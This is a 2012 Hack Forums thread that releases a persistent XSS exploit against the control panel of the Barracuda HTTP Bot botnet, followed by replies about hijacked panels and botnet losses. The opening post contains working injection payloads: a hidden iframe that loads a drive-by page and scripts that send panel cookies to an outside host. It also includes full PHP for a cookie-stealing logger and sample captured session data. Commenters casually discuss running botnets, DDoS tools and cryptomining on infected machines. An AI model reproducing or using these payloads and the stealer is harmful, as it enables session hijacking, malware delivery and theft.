

Forum:[Hack Forums](#)

Thread: [\[XSS\] Barracuda HTTP Bot - Persistent XSS Exploit - 0DAY Release \[/XSS\]](#)

127.0.0.1 - December 4, 2012, 4:45 pm

This is a repost from the Marketplace Discussions section of this forum.

I am posting it in this section as well because it is a great example of how the stuff learned in this section can actually be put to practical use as opposed to just pen-testing random websites you find on Google. I hope lots of people learn something good from this. Have fun!

Barracuda HTTP Bot has reached a new low. A little bit of sniffing on WireShark shows us that Barracuda not only sends its data in plaintext, but also does not sanitize any input on the server side. Those of you in the [Website and Forum Hacking](#) section of HackForums are familiar with XSS exploits. Today we will be going over what you call persistent XSS.

-What is 'persistent XSS' ?

-The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to other users in the course of regular browsing, without proper HTML escaping. A classic example of this is with online message boards where users are allowed to post HTML formatted messages for other users to read.

Source: http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent

-Where can this be found in Barracuda HTTP Bot?

-We will go over this now.

As you can see in the image in the spoiler below, Barracuda HTTP Bot transmits data to the server in plaintext.

Spoiler [\(Click to View\)](#)

If we play around with submissions a bit...

Code

```
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<script>alert("persistent%20xss");</script>...you will find that the above script will show up as a textbox saying 'persistent xss' whenever a user visits their bot dashboard. (Example below)
```

Spoiler [\(Click to View\)](#)

Now you may be wondering:

-What's the point of this? How can this be useful at all?

-Well, it can be used for a number of things such as iframing the page with an exploit pack or a java driveby, or stealing cookies

An example of an iframe utilizing this exploit would be...

Code

```
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<iframe src="http://website.com/DRIVEBY.php" width="0" height="0" frameborder="0"></iframe>
```

An example of a cookie stealer utilizing this exploit would be...

Code

```
?ip=69.69.69.69&os=Microsoft%20Windows%207%20Ultimate%20&name=User&id=User-2.1<script>img=new%20Image();img.src="http://website.com/cookiefile.php?cookie="%2Bdocument.cookie;</script>
```

or...

This one is better because 'botkill' logs from the bot are on the home page 100% of the time and not necessary to refresh as all logs are displayed.

Code

```
/logs.php?data=Successfully%20Deleted%3A%20C%3A%5CUsers%5CMiranda%5CAppData%5C  
Roaming%5CMicrosoft%5CWindows%5CStart%20Menu%5CPrograms%5CStartup%5Cnotavirus.e  
xe<script>img=new%20Image();img.src="http://website.com/cookiefile.php?cookie="%2Bdocument.  
cookie;</script>
```

Example PHP for a cookie & information stealing file:

Code <?php

```
function WriteDataToLog($cData, $cReferer)
{
    $Filename = "logfile.txt";

    $hOpenFile = fopen($Filename, "a+");
    if($hOpenFile)
    {
        $cContentsFile = fread($hOpenFile, filesize($Filename));

        if(!strstr($cContentsFile, $cReferer))
        {
            fwrite($hOpenFile, $cData);
            fclose($hOpenFile);
        }
    }
}

function HandleData()
{
    $SessionCookie = $_GET['cookie'];
    $Date = date("m-d-y h:i:s A");
    $UserAgent = $_SERVER['HTTP_USER_AGENT'];
    $Referer = $_SERVER['HTTP_REFERER'];
    $ClientIp = $_SERVER['REMOTE_ADDR'];

    $cCombinedData = sprintf("Timestamp: $Date\nReferer: $Referer\nCookie: $SessionCookie\nIP: $ClientIp\nUser Agent: $UserAgent\n-----\n");

    WriteDataToLog($cCombinedData, $Referer);
}

HandleData();
```

?>

Example output:

Code Timestamp: 12-07-12 09:22:45 PM

Referer: http://websiteone.org/botnet/dashboard.php

Cookie: __cfduid=j7a9h55j68d8s7fs98hr89w9q0j0fgs87f7fds;

PHPSESSID=77955hfsanfgds89s99h7f6s87n8f6as45

IP: 211.3.69.74

User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko)

Chrome/23.0.1271.95 Safari/537.11

Timestamp: 12-07-12 09:52:08 PM

Referer: http://websitetwo.com/barracudabot/dashboard.php

Cookie: PHPSESSID=9a67f7678a8h8f5s7c7b7f7a889a9arb

IP: 177.55.6.43

User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko)

Chrome/23.0.1271.91 Safari/537.11

Timestamp: 12-08-12 08:26:00 PM

Referer: http://websitethree.net/image/dashboard.php

Cookie: PHPSESSID=2dges967a6f16a9nfg5a8mn6d5a4v

IP: 123.213.21.23

User Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko)

Chrome/15.0.861.0 Safari/535.2

-What's the point of stealing cookies?

-You can use session cookies to log in under somebody else's account or identity without actually needing their login information.

Recently, it appears somebody has been doing the above as according to the following spoiler:

Spoiler ([Click to View](#))

In conclusion, this is only one of many horrible things regarding Barracuda HTTP Bot. When it used to be an IRC bot, there was another exploit where bots listened to not the vHost, but instead the nickname of the bot controller. It has also proven to use BUNK, false-advertised DDoS methods. Hopefully this will prove to the users of HackForums that this bot is not all it claims to be on the sales thread.

Thanks and I hope you enjoyed this thread,
127.O.O.1

PS: The sellers([Organized](#) and [Tropical Paradise](#) have been lying to their customers about 'the host stealing bots' according to the following posts...

(Dec 3, 2012 03:20 PM)Tropical Paradise Wrote: [\[CITE\]](#) (Dec 3, 2012 03:17 PM)Releases Wrote: [\[CITE\]](#) Hosting fixed now? No shells on it etc?

Absolutely not. The first host I used where most customers are hosted was hacked, but the hacker only got root MySQL access (according to my host.) This has been fixed now, and according to my host they've taken many steps to prevent this in the future.

(Dec 4, 2012 03:57 PM)Organised Wrote: [\[CITE\]](#) I wont to know what host this is on so i can remove

everyone from it if its mine ill see if its hacked also if you need update Digital pm me
...They actually just had no idea what the actual problem was due to their lack of coding knowledge.

and look who was right...

(Dec 3, 2012 03:22 PM)Releases Wrote: [\[CITE\]](#) But are you aware of the following:
<http://www.exposedbotnets.com/search/label/barracuda%20http>

They are stating that there are holes in the setup of the HTTP bot itself. Not only the hosting itself.

This is not intended to trash any sales, just only want this fixed so I don't lose again in the future.

F.A.Q.

-Was it you stealing the bots?

-No, it wasn't me, I just care to expose this bot and its flaws as much as possible

-Are there other flaws in Barracuda HTTP Bot?

-Yes, the entire bot is shit. I cannot believe it took a team of coders to create such a thing

-Why did you post this thread?

-I am so sick of seeing this bot in the market. It is complete shit and all of the buyers have no idea because they don't know any better.

-Can you please post a conglomeration of unhappy buyers who bought Barracuda?

-Why yes I can.

Spoiler [\(Click to View\)](#)

(Dec 4, 2012 03:40 PM)???? Wrote: [\[CITE\]](#) They fucked with that too! Either that or they cleared it. It doesn't show ANYTHING not even my own! Now you're going to say I cleared it. -_-

(Dec 4, 2012 03:58 PM)Liquified™ Wrote: [\[CITE\]](#) I also got my bots stolen.

<http://www.exposedbotnets.com/search/label/barracuda%20http>

Yeah, spetznazhost is total shit, made me lose lots of time and money.

We're hosted on spetznazhost.

It got breached.

We got our bots stolen.

(Dec 4, 2012 02:13 PM)????™ Wrote: [\[CITE\]](#) My website keeps going offline and saying.

(Dec 4, 2012 03:22 PM)???? Wrote: [\[CITE\]](#) SOMEBODY GOT INTO MY PANEL AGAIN! This is like the 10th time this has happened!

(Dec 4, 2012 03:33 PM)React x Wrote: [\[CITE\]](#) OMG, WTF! Someone has logged in to my panel also and enabled filezilla, wtf is this.

I'll post proof in a couple of minutes

EDIT: Here is te proof

<https://imgur.com/dGmlp>

and

<https://imgur.com/lmpzn>

Releases Wrote: [\[CITE\]](#) We use the net together and this is indeed happening.
I really hope Tropical will give us a proper fix.

Lost 1k with this shit happening.

XPIØde Wrote: [\[CITE\]](#) We use the net together and this is indeed happening.
I really hope Tropical will give us a proper fix.

Lost 1k with this shit happening.

me100rabh Wrote: [\[CITE\]](#) Personal review of this product.

I've been hosting it on my own server and I must admit the DDoS functions are absolutely horrible, but the bot killer and bitcoin miner are great. I've been buying installs and clearing them out with the BK, have lost hardly any since the new update.

Nothing to boast about really. I guess I'm personally satisfied, but I don't use half the commands.

Gee4rce Wrote: [\[CITE\]](#) I was thinking of buying this, since it just sounded so awesome...

But the last posts seem to bring up some fishy smell of this product i think.

Thanks guys for the info! I don't want a botnet where someone else like me has his hands on my Bots.

Sorry, but thats what it looks like at the moment.

Greetings, Gee.

???? Wrote: [\[CITE\]](#) OMG! I am tired of this! Someone keeps getting into my panel and making an update command for their server! This has happened over 10 times! And I changed my password multiple times!

Some other good Barracuda 'exposing' related posts:

A large number of exposed panels and channels on none other than Exposed Botnets by Pig and i_post_ur_info:

<http://www.exposedbotnets.com/search/label/barracuda%20http>

A post of my own:

[List of reasons of why-not-to-buy-Barracuda-Bot](#)

A post of analysis of Barracuda DDOS by _Stoner:

Spoiler [\(Click to View\)](#)

(Dec 2, 2012 04:02 AM)_Stoner Wrote: [\[CITE\]](#) Warning: large images...

HTTP flood is non-existant or broken entirely afaik. The bot does not respond to the command in any way.

Slowloris flood is not only made incorrectly, but the entire request is broken. Instead of the packet only missing the double return at the end of the request, it is missing all of its returns/newlines entirely! The remote end responds with 400 bad request which should be telling the coder of this that it is working incorrectly assuming they even check through all the functionality of the program.

I am sorry to break it to everybody, but... the ARME flood(or AREF according to barracuda[]) is actually a POST request spammer with no data. All it does that is out of the ordinary is decide on a

random Content-length(which does not do anything). When ARME is coded correctly, it is supposed to over abuse Partial-Content and ranges in HTTP headers.

I would also like to add that the program relies on online ip and location resolving services such as wipmania or dyndns even though it's an HTTP bot.

Thanks for reading.

-

I will also justify my reason for wanting to post this. False advertisement and over-hyping. I wouldn't consider what I posted above powerful, reliable, efficient, 'extreme,' or exhausting.

Straight from [this](#) thread:

Wtf did everybody just spend their money on?

A post about botkiller code by betamonkey:

Spoiler ([Click to View](#))

(Nov 24, 2012 06:42 PM)betamonkey Wrote: [\[CITE\]](#) Code has been updated to disable Barracuda HTTP Bot v2.5

Please post here if you would like bins made for this!

I'm going to give you guys some FREE C++ code I whipped up to remove Barracuda HTTP bot from a computer. The bot, contrary to what the author has stated, is extremely easy to remove. First I'll start with what I found to be a pretty funny (and annoying) installation process:

Super stealth installation process:

Waiting to install my malware.. Geeze, come on, someone desperately needs my FileZilla passwords!

This seems legit. Definitely not the result of my 20 minute long .NET installation for some file I don't know anything about.

Anyway, after that delightful installation of malware, I went on to discover that barracuda bot was easily killed via the task manager with no sort of protections. On XP there may be some sort of object permissions but nothing fancy.

Here is the C++ code for disabling Barracuda (v2.5) bot. It will not terminate the process as I didn't feel like coding that in, but if you wanted, all it takes is a simple call to OpenProcess and TerminateProcess. This will cripple the file and on reboot barracuda bot will no longer be functional / run again.

Code:

<http://pastebin.com/ZrVgJXuC>

* UPDATE: - Code now kills v2.5. Lame attempt at securing file. Nice going team Barracuda!

Feel free to incorporate this into all your bots. I really feel like the author has hyped up this piece of crap when in fact very few protections exist, and the ones that do are easily defeated. This is only 1 of about a dozen ways I can think of off the top of my head to remove/disable this piece of "malware".

Have fun!
Beta Monkey

Bonus highlights of Tropical Paradise' aggressive marketing campaign:

What? Advertising Insomnia in your signature? I DECREE THAT THIS IS FORBIDDEN.

Poor guy. Tropical Paradise is like the mob - Once your in their pocket, you'll never get out.

Ultimate reason list to not buy Barracuda bot:

<https://hackforums.net/showthread.php?tid=3046756&pid=28436607#pid28436607>

.Satan - December 4, 2012, 6:50 pm

Epic thread, thanks for the lulz.. .sucks for the people who bought that

supracontra - December 4, 2012, 6:50 pm

Thumbs up, always love reading shit like this.

I remember back in the day when a dood found sqli in the zeus admin panel. Peoples shit turned sideways inside them.

+1

tux1 - December 4, 2012, 8:45 pm

Nice find, why does the bot send the targets ip via php get. When it could have just be retrieved by the server using "\$_SERVER['REMOTE_ADDR'];" ?

Mormaii - December 4, 2012, 9:05 pm

It's funny how the owner says

Quote:but the hacker ONLY got root MySQL access

As if it were a small simple thing.

Sky - December 4, 2012, 9:17 pm

I can vouch this is a good bot, But I can also vouch that it has major security flaws. Would be amazing if these got fixed.

Simple fix for now: Don't give any fucker your URL? Derp... Also create a custom login script on a fake hosting to hide your URL.

~Arcane ?

_Stoner - December 4, 2012, 9:34 pm

(Dec 4, 2012 09:45 PM)tux1 Wrote: [\[CITE\]](#) Nice find, why does the bot send the targets ip via php get. When it could have just be retrieved by the server using "\$_SERVER['REMOTE_ADDR'];" ? He actually uses wipmania and dyndns APIs to determine the bot IP. That's a bad thing to depend on even in an IRC bot.

Thanks for referencing my post, OP, I spent some time on that

betamonkey - December 4, 2012, 10:00 pm

(Dec 4, 2012 10:17 PM)Arcane Sky Wrote: [\[CITE\]](#) I can vouch this is a good bot, But I can also vouch that it has major security flaws. Would be amazing if these got fixed.

Simple fix for now: Don't give any fucker your URL? Derp... Also create a custom login script on a fake hosting to hide your URL.

~Arcane ?

1. DDoS attacks don't work (except for maybe UDP..? This opinion is shared by people other than myself)

2. Wipmania for an HTTP bot? What the..? Also it appears that the bot itself tells the panel its IP, when in fact this only allows spoofing and is stupid as fuck since the server obviously knows the bot's IP

3. No encryption of bot comms? XSS'able? This guy is coding something security researchers will actively try to exploit to disrupt the botnet, and he puts no effort into protecting his own customers. I hope you realize that this vulnerability can allow researchers to identify the botnet owner by his IP and even login under his control panel account.

This bot sucks dude. If you think this is good, your standards need to be raised quite a bit.

Regards,
Beta Monkey

Shiroyasha - December 4, 2012, 10:20 pm

Time to move away from Baraccuda it seems

First time I lost 8k bots to 0 by uninstall/update and shit logins and commands from God-who-knows-whom

Second time since a week, my bots decreased from 20k to 1k now

rvltr - December 4, 2012, 10:42 pm

taking a note of the numerous flaws exposed by this. what is not to say that the developers of this are just playing stupid and they are exploiting vulnerabilities left by themselves intentionally?

this is an epic way for them to troll and scam unsuspecting users while pretending they know nothing about it or why it is happening

betamonkey - December 4, 2012, 11:09 pm

(Dec 4, 2012 11:42 PM)rvltr Wrote: [\[CITE\]](#) taking a note of the numerous flaws exposed by this. what is not to say that the developers of this are just playing stupid and they are exploiting vulnerabilities left by themselves intentionally?

this is an epic way for them to troll and scam unsuspecting users while pretending they know

nothing about it or why it is happening

You know, I wouldn't be surprised. These "mistakes" are so dumb that it's hard not to think that.

Beta Monkey

SEANoEv0l - December 4, 2012, 11:12 pm

(Dec 4, 2012 11:20 PM)shubhank008 Wrote: [\[CITE\]](#) Time to move away from Baraccuda it seems

First time I lost 8k bots to 0 by uninstall/update and shit logins and commands from God-who-knows-whom

Second time since a week, my bots decreased from 20k to 1k now

Alot too lose.. hopefully next time you don't trust a noob too host you and use .net..

?

P.S-Nice-Vuln

Shiroyasha - December 5, 2012, 12:16 am

Lmao I have my own dedicated servers and they are housed and secured by serveroutes :P

Nothing breached the servers at all, first time it was some session exploit and this time I dont know what it was but my guess is it was this XSS exploit

Not worried about bots though since I can get to that number and quality again, just that I lost almost 1 week of Highquality BTC mining time xD

RyanC - December 5, 2012, 12:45 am

(Dec 5, 2012 01:16 AM)shubhank008 Wrote: [\[CITE\]](#) Lmao I have my own dedicated servers and they are housed and secured by serveroutes :P

Nothing breached the servers at all, first time it was some session exploit and this time I dont know what it was but my guess is it was this XSS exploit

Not worried about bots though since I can get to that number and quality again, just that I lost almost 1 week of Highquality BTC mining time xD>secured by serveroutes

You use managed hosting for bots? Are you retarded?

Shiroyasha - December 5, 2012, 12:58 am

no I dont use managed services as they charge \$200 extra for management

I am a old client there with servers worth \$700+ monthly for my personal sites etc. so I got free nginx server setup and security of server with a firewall

It was all before setting baraccuda up, I aint such a kid to ask them to secure it for my botney :|

PS: I am also a Server Administrator and a Network Administrator (not pro yet)

Sky - December 5, 2012, 4:14 am

(Dec 4, 2012 11:00 PM)betamonkey Wrote: [\[CITE\]](#) 1. DDoS attacks don't work (except for maybe UDP..? This opinion is shared by people other than myself)

2. Wipmania for an HTTP bot? What the..? Also it appears that the bot itself tells the panel its IP, when in fact this only allows spoofing and is stupid as fuck since the server obviously knows the bot's IP

3. No encryption of bot comms? XSS'able? This guy is coding something security researchers will actively try to exploit to disrupt the botnet, and he puts no effort into protecting his own customers. I hope you realize that this vulnerability can allow researchers to identify the botnet owner by his IP and even login under his control panel account.

This bot sucks dude. If you think this is good, your standards need to be raised quite a bit.

Regards,
Beta Monkey

You think I login to that with my real IP? So the police can track me after my years of blackhat activity? Sure, Here are my login logs, If this is my real IP have fun booting me :)

Also I was talking about the botkill, Filezilla & Bitcoin miner, I Use IPKiller for DDoS

[img]http://img547.imageshack.us/img547/9615/derpec.png[/img]

~Arcane ?

_Stoner - December 6, 2012, 2:37 pm

(Dec 5, 2012 05:14 AM)Arcane Sky Wrote: [\[CITE\]](#) You think I login to that with my real IP? So the police can track me after my years of blackhat activity? Sure, Here are my login logs, If this is my real IP have fun booting me :)

Also I was talking about the botkill, Filezilla & Bitcoin miner, I Use IPKiller for DDoS

[img]http://img547.imageshack.us/img547/9615/derpec.png[/img]

~Arcane ?

What do you have to prove to anybody?

--

Anyways, looks to be no word from TP or Organized. Is this the end of Barracuda?

rcvrcv - December 6, 2012, 2:39 pm

Thanks, nice tool. Good work sir, very appreciative

(Dec 5, 2012 05:14 AM)Arcane Sky Wrote: [\[CITE\]](#) I Use IPKiller for DDoS

~Arcane ?

what's IPKiller, a booter? Or your custom bot? never heard of it.

RyanC - December 6, 2012, 2:43 pm

(Dec 5, 2012 01:58 AM)shubhank008 Wrote: [\[CITE\]](#) no I dont use managed services as they charge \$200 extra for management

I am a old client there with servers worth \$700+ monthly for my personal sites etc. so I got free nginx server setup and security of server with a firewall

It was all before setting baraccuda up, I aint such a kid to ask them to secure it for my botney :|

PS: I am also a Server Administrator and a Network Administrator (not pro yet)

So, you consider your setup secured as you have some firewall in place? Are you serious?

LevelUp - December 6, 2012, 2:46 pm

(Dec 6, 2012 03:39 PM)rcvrcv Wrote: [\[CITE\]](#) Thanks, nice tool. Good work sir, very appreciative

what's IPKiller, a booter? Or your custom bot? never heard of it.
It's a hostbooter coded in delphi, it uses bots.

?ark Matter - December 6, 2012, 2:55 pm

(Dec 6, 2012 03:37 PM)_Stoner Wrote: [\[CITE\]](#) What do you have to prove to anybody?

--

Anyways, looks to be no word from TP or Organized. Is this the end of Barracuda?
no it is not they believe that they have got the fix and should be posting about it today or tomorrow not sure just want i heard

_Stoner - December 9, 2012, 2:55 pm

The exploits listed in this thread are still active and vulnerable.

<https://hackforums.net/showthread.php?tid=3083740>

127.O.O.1 - December 16, 2012, 8:58 am

(Dec 9, 2012 03:55 PM)_Stoner Wrote: [\[CITE\]](#) The exploits listed in this thread are still active and vulnerable.

<https://hackforums.net/showthread.php?tid=3083740>

Yup they are, this is a pretty bad bot

_Stoner - December 16, 2012, 11:09 am

(Dec 16, 2012 09:58 AM)127.O.O.1 Wrote: [\[CITE\]](#) Yup they are, this is a pretty bad bot
This is a well thought out post you've made, my friend ;)

Mr.Cube - December 16, 2012, 11:10 am

Why hasn't anyone cracked this yet with so many vulns?

Bulletproof OMG - December 16, 2012, 11:42 am

Fuck, they have exposed my botnet lol.

Big Easy - December 16, 2012, 4:36 pm

Looks like a nice find, thanks for contributing to the community!

127.O.O.1 - December 17, 2012, 4:10 pm

(Dec 16, 2012 05:36 PM)Big Easy Wrote: [\[CITE\]](#) Looks like a nice find, thanks for contributing to the community!

Yup, hope this helps some people, haha

[H]ell - January 15, 2013, 12:06 pm

Why did this drop down all the way to the bottom?
Time to let some more people enjoy the fun.